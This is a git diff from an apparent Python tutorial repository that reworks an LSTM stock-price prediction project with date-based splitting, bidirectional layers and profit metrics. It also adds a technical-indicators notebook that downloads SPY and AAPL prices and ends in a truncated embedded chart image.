-    # this last_sequence will be used to predict in future dates that are not available in the dataset
-    last_sequence = list(sequences) + list(last_sequence)
-    # shift the last sequence by -1
-    last_sequence = np.array(pd.DataFrame(last_sequence).shift(-1).dropna())
+    # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 60 (that is 50+10) length
+    # this last_sequence will be used to predict future stock prices that are not available in the dataset
+    last_sequence = list([s[:len(feature_columns)] for s in sequences]) + list(last_sequence)
+    last_sequence = np.array(last_sequence).astype(np.float32)
     # add to result
     result['last_sequence'] = last_sequence
     
@@ -90,33 +109,59 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1,
     X = np.array(X)
     y = np.array(y)
 
-    # reshape X to fit the neural network
-    X = X.reshape((X.shape[0], X.shape[2], X.shape[1]))
-    
-    # split the dataset
-    result["X_train"], result["X_test"], result["y_train"], result["y_test"] = train_test_split(X, y, 
+    if split_by_date:
+        # split the dataset into training & testing sets by date (not randomly splitting)
+        train_samples = int((1 - test_size) * len(X))
+        result["X_train"] = X[:train_samples]
+        result["y_train"] = y[:train_samples]
+        result["X_test"]  = X[train_samples:]
+        result["y_test"]  = y[train_samples:]
+        if shuffle:
+            # shuffle the datasets for training (if shuffle parameter is set)
+            shuffle_in_unison(result["X_train"], result["y_train"])
+            shuffle_in_unison(result["X_test"], result["y_test"])
+    else:    
+        # split the dataset randomly
+        result["X_train"], result["X_test"], result["y_train"], result["y_test"] = train_test_split(X, y, 
                                                                                 test_size=test_size, shuffle=shuffle)
-    # return the result
+
+    # get the list of test set dates
+    dates = result["X_test"][:, -1, -1]
+    # retrieve test features from the original dataframe
+    result["test_df"] = result["df"].loc[dates]
+    # remove duplicated dates in the testing dataframe
+    result["test_df"] = result["test_df"][~result["test_df"].index.duplicated(keep='first')]
+    # remove dates from the training/testing sets & convert to float32
+    result["X_train"] = result["X_train"][:, :, :len(feature_columns)].astype(np.float32)
+    result["X_test"] = result["X_test"][:, :, :len(feature_columns)].astype(np.float32)
+
     return result
 
 
-def create_model(input_length, units=256, cell=LSTM, n_layers=2, dropout=0.3,
-                loss="mean_absolute_error", optimizer="rmsprop"):
+def create_model(sequence_length, n_features, units=256, cell=LSTM, n_layers=2, dropout=0.3,
+                loss="mean_absolute_error", optimizer="rmsprop", bidirectional=False):
     model = Sequential()
     for i in range(n_layers):
         if i == 0:
             # first layer
-            model.add(cell(units, return_sequences=True, input_shape=(None, input_length)))
+            if bidirectional:
+                model.add(Bidirectional(cell(units, return_sequences=True), batch_input_shape=(None, sequence_length, n_features)))
+            else:
+                model.add(cell(units, return_sequences=True, batch_input_shape=(None, sequence_length, n_features)))
         elif i == n_layers - 1:
             # last layer
-            model.add(cell(units, return_sequences=False))
+            if bidirectional:
+                model.add(Bidirectional(cell(units, return_sequences=False)))
+            else:
+                model.add(cell(units, return_sequences=False))
         else:
             # hidden layers
-            model.add(cell(units, return_sequences=True))
+            if bidirectional:
+                model.add(Bidirectional(cell(units, return_sequences=True)))
+            else:
+                model.add(cell(units, return_sequences=True))
         # add dropout after each layer
         model.add(Dropout(dropout))
-    
     model.add(Dense(1, activation="linear"))
     model.compile(loss=loss, metrics=["mean_absolute_error"], optimizer=optimizer)
-
     return model
\ No newline at end of file
diff --git a/machine-learning/stock-prediction/test.py b/machine-learning/stock-prediction/test.py
index 382b0564..9aa9dc44 100644
--- a/machine-learning/stock-prediction/test.py
+++ b/machine-learning/stock-prediction/test.py
@@ -1,67 +1,132 @@
-from stock_prediction import create_model, load_data, np
-from parameters import *
+import numpy as np
+
 import matplotlib.pyplot as plt
-from sklearn.metrics import accuracy_score
 
-def plot_graph(model, data):
-    y_test = data["y_test"]
-    X_test = data["X_test"]
-    y_pred = model.predict(X_test)
-    y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0)))
-    y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred))
-    plt.plot(y_test[-200:], c='b')
-    plt.plot(y_pred[-200:], c='r')
+from stock_prediction import create_model, load_data
+from parameters import *
+
+
+def plot_graph(test_df):
+    """
+    This function plots true close price along with predicted close price
+    with blue and red colors respectively
+    """
+    plt.plot(test_df[f'true_adjclose_{LOOKUP_STEP}'], c='b')
+    plt.plot(test_df[f'adjclose_{LOOKUP_STEP}'], c='r')
     plt.xlabel("Days")
     plt.ylabel("Price")
     plt.legend(["Actual Price", "Predicted Price"])
     plt.show()
 
 
-def get_accuracy(model, data):
-    y_test = data["y_test"]
+def get_final_df(model, data):
+    """
+    This function takes the `model` and `data` dict to
+    construct a final dataframe that includes the features along
+    with true and predicted prices of the testing dataset
+    """
+    # if predicted future price is higher than the current,
+    # then calculate the true future price minus the current price, to get the buy profit
+    buy_profit  = lambda current, pred_future, true_future: true_future - current if pred_future > current else 0
+    # if the predicted future price is lower than the current price,
+    # then subtract the true future price from the current price
+    sell_profit = lambda current, pred_future, true_future: current - true_future if pred_future < current else 0
     X_test = data["X_test"]
+    y_test = data["y_test"]
+    # perform prediction and get prices
     y_pred = model.predict(X_test)
-    y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0)))
-    y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred))
-    y_pred = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_pred[LOOKUP_STEP:]))
-    y_test = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_test[LOOKUP_STEP:]))
-    return accuracy_score(y_test, y_pred)
+    if SCALE:
+        y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0)))
+        y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred))
+    test_df = data["test_df"]
+    # add predicted future prices to the dataframe
+    test_df[f"adjclose_{LOOKUP_STEP}"] = y_pred
+    # add true future prices to the dataframe
+    test_df[f"true_adjclose_{LOOKUP_STEP}"] = y_test
+    # sort the dataframe by date
+    test_df.sort_index(inplace=True)
+    final_df = test_df
+    # add the buy profit column
+    final_df["buy_profit"] = list(map(buy_profit,
+                                    final_df["adjclose"],
+                                    final_df[f"adjclose_{LOOKUP_STEP}"],
+                                    final_df[f"true_adjclose_{LOOKUP_STEP}"])
+                                    # since we don't have profit for last sequence, add 0's
+                                    )
+    # add the sell profit column
+    final_df["sell_profit"] = list(map(sell_profit,
+                                    final_df["adjclose"],
+                                    final_df[f"adjclose_{LOOKUP_STEP}"],
+                                    final_df[f"true_adjclose_{LOOKUP_STEP}"])
+                                    # since we don't have profit for last sequence, add 0's
+                                    )
+    return final_df
 
 
-def predict(model, data, classification=False):
+def predict(model, data):
     # retrieve the last sequence from data
-    last_sequence = data["last_sequence"][:N_STEPS]
-    # retrieve the column scalers
-    column_scaler = data["column_scaler"]
-    # reshape the last sequence
-    last_sequence = last_sequence.reshape((last_sequence.shape[1], last_sequence.shape[0]))
+    last_sequence = data["last_sequence"][-N_STEPS:]
     # expand dimension
     last_sequence = np.expand_dims(last_sequence, axis=0)
     # get the prediction (scaled from 0 to 1)
     prediction = model.predict(last_sequence)
     # get the price (by inverting the scaling)
-    predicted_price = column_scaler["adjclose"].inverse_transform(prediction)[0][0]
+    if SCALE:
+        predicted_price = data["column_scaler"]["adjclose"].inverse_transform(prediction)[0][0]
+    else:
+        predicted_price = prediction[0][0]
     return predicted_price
 
 
 # load the data
-data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE,
-                feature_columns=FEATURE_COLUMNS, shuffle=False)
+data = load_data(ticker, N_STEPS, scale=SCALE, split_by_date=SPLIT_BY_DATE,
+                shuffle=SHUFFLE, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE,
+                feature_columns=FEATURE_COLUMNS)
 
 # construct the model
-model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,
-                    dropout=DROPOUT, optimizer=OPTIMIZER)
+model = create_model(N_STEPS, len(FEATURE_COLUMNS), loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,
+                    dropout=DROPOUT, optimizer=OPTIMIZER, bidirectional=BIDIRECTIONAL)
 
+# load optimal model weights from results folder
 model_path = os.path.join("results", model_name) + ".h5"
 model.load_weights(model_path)
 
 # evaluate the model
-mse, mae = model.evaluate(data["X_test"], data["y_test"])
+loss, mae = model.evaluate(data["X_test"], data["y_test"], verbose=0)
 # calculate the mean absolute error (inverse scaling)
-mean_absolute_error = data["column_scaler"]["adjclose"].inverse_transform(mae.reshape(1, -1))[0][0]
-print("Mean Absolute Error:", mean_absolute_error)
+if SCALE:
+    mean_absolute_error = data["column_scaler"]["adjclose"].inverse_transform([[mae]])[0][0]
+else:
+    mean_absolute_error = mae
+
+# get the final dataframe for the testing set
+final_df = get_final_df(model, data)
 # predict the future price
 future_price = predict(model, data)
+# we calculate the accuracy by counting the number of positive profits
+accuracy_score = (len(final_df[final_df['sell_profit'] > 0]) + len(final_df[final_df['buy_profit'] > 0])) / len(final_df)
+# calculating total buy & sell profit
+total_buy_profit  = final_df["buy_profit"].sum()
+total_sell_profit = final_df["sell_profit"].sum()
+# total profit by adding sell & buy together
+total_profit = total_buy_profit + total_sell_profit
+# dividing total profit by number of testing samples (number of trades)
+profit_per_trade = total_profit / len(final_df)
+# printing metrics
 print(f"Future price after {LOOKUP_STEP} days is {future_price:.2f}$")
-print("Accuracy Score:", get_accuracy(model, data))
-plot_graph(model, data)
\ No newline at end of file
+print(f"{LOSS} loss:", loss)
+print("Mean Absolute Error:", mean_absolute_error)
+print("Accuracy score:", accuracy_score)
+print("Total buy profit:", total_buy_profit)
+print("Total sell profit:", total_sell_profit)
+print("Total profit:", total_profit)
+print("Profit per trade:", profit_per_trade)
+# plot true/pred prices graph
+plot_graph(final_df)
+print(final_df.tail(10))
+# save the final dataframe to csv-results folder
+csv_results_folder = "csv-results"
+if not os.path.isdir(csv_results_folder):
+    os.mkdir(csv_results_folder)
+csv_filename = os.path.join(csv_results_folder, model_name + ".csv")
+final_df.to_csv(csv_filename)
diff --git a/machine-learning/stock-prediction/train.py b/machine-learning/stock-prediction/train.py
index 6cd545b0..c3f03d4c 100644
--- a/machine-learning/stock-prediction/train.py
+++ b/machine-learning/stock-prediction/train.py
@@ -17,21 +17,25 @@
     os.mkdir("data")
 
 # load the data
-data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, feature_columns=FEATURE_COLUMNS)
+data = load_data(ticker, N_STEPS, scale=SCALE, split_by_date=SPLIT_BY_DATE, 
+                shuffle=SHUFFLE, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, 
+                feature_columns=FEATURE_COLUMNS)
+
+# save the dataframe
+data["df"].to_csv(ticker_data_filename)
 
 # construct the model
-model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,
-                    dropout=DROPOUT, optimizer=OPTIMIZER)
+model = create_model(N_STEPS, len(FEATURE_COLUMNS), loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,
+                    dropout=DROPOUT, optimizer=OPTIMIZER, bidirectional=BIDIRECTIONAL)
 
 # some tensorflow callbacks
-checkpointer = ModelCheckpoint(os.path.join("results", model_name), save_weights_only=True, save_best_only=True, verbose=1)
+checkpointer = ModelCheckpoint(os.path.join("results", model_name + ".h5"), save_weights_only=True, save_best_only=True, verbose=1)
 tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name))
-
+# train the model and save the weights whenever we see 
+# a new optimal model using ModelCheckpoint
 history = model.fit(data["X_train"], data["y_train"],
                     batch_size=BATCH_SIZE,
                     epochs=EPOCHS,
                     validation_data=(data["X_test"], data["y_test"]),
                     callbacks=[checkpointer, tensorboard],
-                    verbose=1)
-
-model.save(os.path.join("results", model_name) + ".h5")
\ No newline at end of file
+                    verbose=1)
\ No newline at end of file
diff --git a/machine-learning/technical-indicators/README.md b/machine-learning/technical-indicators/README.md
new file mode 100644
index 00000000..4186e35d
--- /dev/null
+++ b/machine-learning/technical-indicators/README.md
@@ -0,0 +1,4 @@
+# [Introduction to Finance and Technical Indicators with Python](https://www.thepythoncode.com/article/introduction-to-finance-and-technical-indicators-with-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- Please check [the notebook](technical_indicators.ipynb) or the [Python script](technical_indicators.py)
\ No newline at end of file
diff --git a/machine-learning/technical-indicators/requirements.txt b/machine-learning/technical-indicators/requirements.txt
new file mode 100644
index 00000000..5647d5ff
--- /dev/null
+++ b/machine-learning/technical-indicators/requirements.txt
@@ -0,0 +1,4 @@
+pandas-datareader
+yfinance
+mpl-finance
+stockstats
\ No newline at end of file
diff --git a/machine-learning/technical-indicators/technical_indicators.ipynb b/machine-learning/technical-indicators/technical_indicators.ipynb
new file mode 100644
index 00000000..5ade7857
--- /dev/null
+++ b/machine-learning/technical-indicators/technical_indicators.ipynb
@@ -0,0 +1,222 @@
+{
+ "metadata": {
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 3
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython3",
+   "version": 3
+  },
+  "orig_nbformat": 2,
+  "kernelspec": {
+   "name": "python_defaultSpec_1596390011190",
+   "display_name": "Python 3.6.6 64-bit"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2,
+ "cells": [
+  {
+   "cell_type": "code",
+   "execution_count": 1,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "import yfinance as yf\n",
+    "import pandas_datareader as pdr\n",
+    "from mpl_finance import candlestick_ohlc\n",
+    "import matplotlib.pyplot as plt"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 6,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# import SPY stock price\n",
+    "df_spy = pdr.get_data_yahoo(\"SPY\", start=\"2019-01-01\", end=\"2019-09-30\")\n",
+    "# import AAPL stock price\n",
+    "df_aapl = pdr.get_data_yahoo(\"AAPL\", start=\"2019-01-01\", end=\"2019-09-30\")"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 4,
+   "metadata": {},
+   "outputs": [
+    {
+     "output_type": "execute_result",
+     "data": {
+      "text/plain": "                  High         Low        Open       Close       Volume  \\\nDate                                                                      \n2019-01-02  251.210007  245.949997  245.979996  250.179993  126925200.0   \n2019-01-03  248.570007  243.669998  248.229996  244.210007  144140700.0   \n2019-01-04  253.110001  247.169998  247.589996  252.389999  142628800.0   \n2019-01-07  255.949997  251.690002  252.690002  254.380005  103139100.0   \n2019-01-08  257.309998  254.000000  256.820007  256.769989  102512600.0   \n\n             Adj Close  \nDate                    \n2019-01-02  243.025879  \n2019-01-03  237.226593  \n2019-01-04  245.172668  \n2019-01-07  247.105774  \n2019-01-08  249.427399  ",
+      "text/html": "\n\n
\n  \n    \n      High \n      Low \n      Open \n      Close \n      Volume \n      Adj Close \n     \n    \n      Date \n       \n   \n  \n    \n      2019-01-02 \n      251.210007 \n      245.949997 \n      245.979996 \n      250.179993 \n      126925200.0 \n      243.025879 \n     \n    \n      2019-01-03 \n      248.570007 \n      243.669998 \n      248.229996 \n      244.210007 \n      144140700.0 \n      237.226593 \n     \n    \n      2019-01-04 \n      253.110001 \n      247.169998 \n      247.589996 \n      252.389999 \n      142628800.0 \n      245.172668 \n     \n    \n      2019-01-07 \n      255.949997 \n      251.690002 \n      252.690002 \n      254.380005 \n      103139100.0 \n      247.105774 \n     \n    \n      2019-01-08 \n      257.309998 \n      254.000000 \n      256.820007 \n      256.769989 \n      102512600.0 \n      249.427399 \n     \n   \n
\n
",
+      "image/svg+xml": "\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n            \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n     \r\n      \r\n      \r\n      \r\n      \r\n          \r\n     \r\n      \r\n      \r\n      \r\n      \r\n          \r\n     \r\n    \r\n   \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n      \r\n    \r\n     \r\n      \r\n    \r\n    \r\n     \r\n     \r\n      \r\n      \r\n      \r\n         \r\n     \r\n      \r\n      \r\n      \r\n      \r\n          \r\n     \r\n    \r\n     \r\n      \r\n    \r\n    \r\n     \r\n     \r\n      \r\n      \r\n      \r\n      \r\n          \r\n     \r\n      \r\n      \r\n      \r\n      \r\n          \r\n     \r\n    \r\n     \r\n      \r\n    \r\n    \r\n     \r\n     \r\n      \r\n      \r\n      \r\n         \r\n     \r\n      \r\n      \r\n      \r\n         \r\n     \r\n    \r\n     \r\n      \r\n    \r\n    \r\n     \r\n     \r\n      \r\n      \r\n      \r\n         \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n           \r\n     \r\n    \r\n   \r\n  \r\n \r\n  \r\n   \r\n    \r\n  \r\n     \r\n",
+      "image/png": "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